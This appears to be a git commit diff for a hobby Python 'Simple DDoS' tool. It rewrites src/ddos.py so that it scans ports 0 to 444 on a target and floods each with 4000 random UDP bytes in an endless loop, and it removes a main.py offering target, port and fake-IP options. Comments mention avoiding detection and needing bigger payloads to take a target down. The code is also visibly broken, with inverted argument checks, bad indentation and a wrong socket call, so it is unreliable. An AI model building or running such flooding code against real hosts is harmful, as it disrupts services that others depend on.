Finish script, needs refactored but runs

__init__.py

@@ -0,0 +1,5 @@
+"""Top-level package for Simple DDoS."""
+# simple_ddos/__init__.py
+
+__app_name__ = 'simple_ddos'
+__version__ = "0.1.0"

main.py

@@ -1,19 +0,0 @@
-#!/usr/bin/python
-
-import argparse
-
-from src import ddos
-
-
-def main():
-    parser = argparse.ArgumentParser(description="DDoS Proof of concept")
-    parser.add_argument('-t', '--target', help="Attack target IP address")
-    parser.add_argument('-p', '--port', help="Port to attack")
-    parser.add_argument('-i', '--ipaddress', help="Fake ip address")
-
-    args = parser.parse_args(ddos)
-
-
-
-if __name__ == "__main__":
-    main()

src/ddos.py

@@ -1,9 +1,8 @@
-import os, sys, socket
+import sys, socket
-import platform
 import random
 from datetime import datetime as dt
 
-os.system('figlet Simple DDoS | lolcat')
+# os.system('figlet Simple DDoS | lolcat')
 
 # TODO: Read docs on time, os, random, threading, and platform
 # TODO: Take questions to Mastodon
@@ -20,7 +19,7 @@ W = '\033[0m'
 
 # v1: just create ddos script
 
-# Instead ofusing SOCK_STREAM for TCP connections
+# Instead of using SOCK_STREAM for TCP connections
 # using SOCK_DGRAM for UDP connections to keep packets small
 # If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
 # what that means for the network being hit
@@ -38,44 +37,76 @@ W = '\033[0m'
 
 def ddos(target, port):
     sent = 0
-    if len(sys.argv) == 3:
+    if len(sys.argv) != 3:
-       socket.gethostbyname(sys.argv[1])  # create string from IPv4 to pass as argument to sentto
+        print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
-     else:
+        print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
-     print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
-     print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
 
-     print("-" * 25)
+        print("-" * 25)
-     print("Attacking target:" + target)
+        print(f"Attacking target:{target} on {port}")
-     print("Time started:" + str(dt.now()))
+        print("Time started:" + str(dt.now()))
+    else:
+        socket.gethostbyname(sys.argv[1])
 
-     try:
+    try:
-         # create an infinite loop to continuously send junk data
+        # create an infinite loop to continuously send junk data
-         # to target ip
+        # to target ip
-         while True:
+        while True:
-             # Create a new socket
+            # Create a new socket
-             # assign socket to s
+            # assign socket to s
-             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
-             # create a variable that will send 4000 random bytes
+           # Iterate over ports to find the open ones on
+           # common DNS protocol ports
+         for port in range(0,445):
+            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
-             bytes1 = random.randbytes(4000)
+            # Set the timeout for 5 seconds
-             #  bytes2 = random.randbytes(4000)
-             # system = platform.uname().system
 
-             # send 4000 random bytes to the target on port passed as arg
+            # I changed it from 5 seconds to 1
-             s.sendto(bytes1, (target, port))
+            # because each iteration over a port should not
-             sent = sent + 1
+            # take more than 1 second
+            # If it did, perhaps it would be detected
+            # quickly and shutdown
 
-     # Break out of infinite loop
+            socket.setdefaulttimeout(1)
 
-     except KeyboardInterrupt:
+            # Connect to target and port
-         print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
+            # using connect_ex to raise an
+            # exception instead of just s.connect
 
-     except socket.gaierror:
+            # Assign the connection a variable res
-         print(R + '[-] ' + C + 'Unknown address.')
+            res = s.connect_ex((target, port))
-         print(R + '[-] ' + C + 'Please input the correct ip address.')
 
-     except NameError:
+            if res != 1:
-         print(R + '[-] ' + C + 'Unknown address.')
+                pass
-         print(R + '[-] ' + C + 'Please input the correct ip address.')
+            # Check open ports by
+            #
+            else:
+                print(f"Port {port} is open on {target}")
+                print("Connected")
+            # create a variable that will send 4000 random bytes
 
+            # 4000 bytes is not enough to DDoS a target.
+            # Will need to test with more.
+
+            bytes1: bytes = random.randbytes(4000)
+            #  bytes2 = random.randbytes(4000)
+            # system = platform.uname().system
+
+            # send 4000 random bytes to the target on port passed as arg
+            s.sendto(bytes1, (target, port))
+            sent = sent + 1
+
+        # Break out of infinite loop
+
+    except KeyboardInterrupt:
+        print('\n' + R + '[!]' + C + 'Terminating Session...' + W)
+        sys.exit()
+
+    except socket.gaierror:
+        print(R + '[-] ' + C + 'Unknown address.')
+        print(R + '[-] ' + C + 'Please input the correct ip address.')
+        sys.exit()
+
+    except socket.error:
+        print(R + '[-] ' + C + "Couldn't connect to server.")
+        socket.close()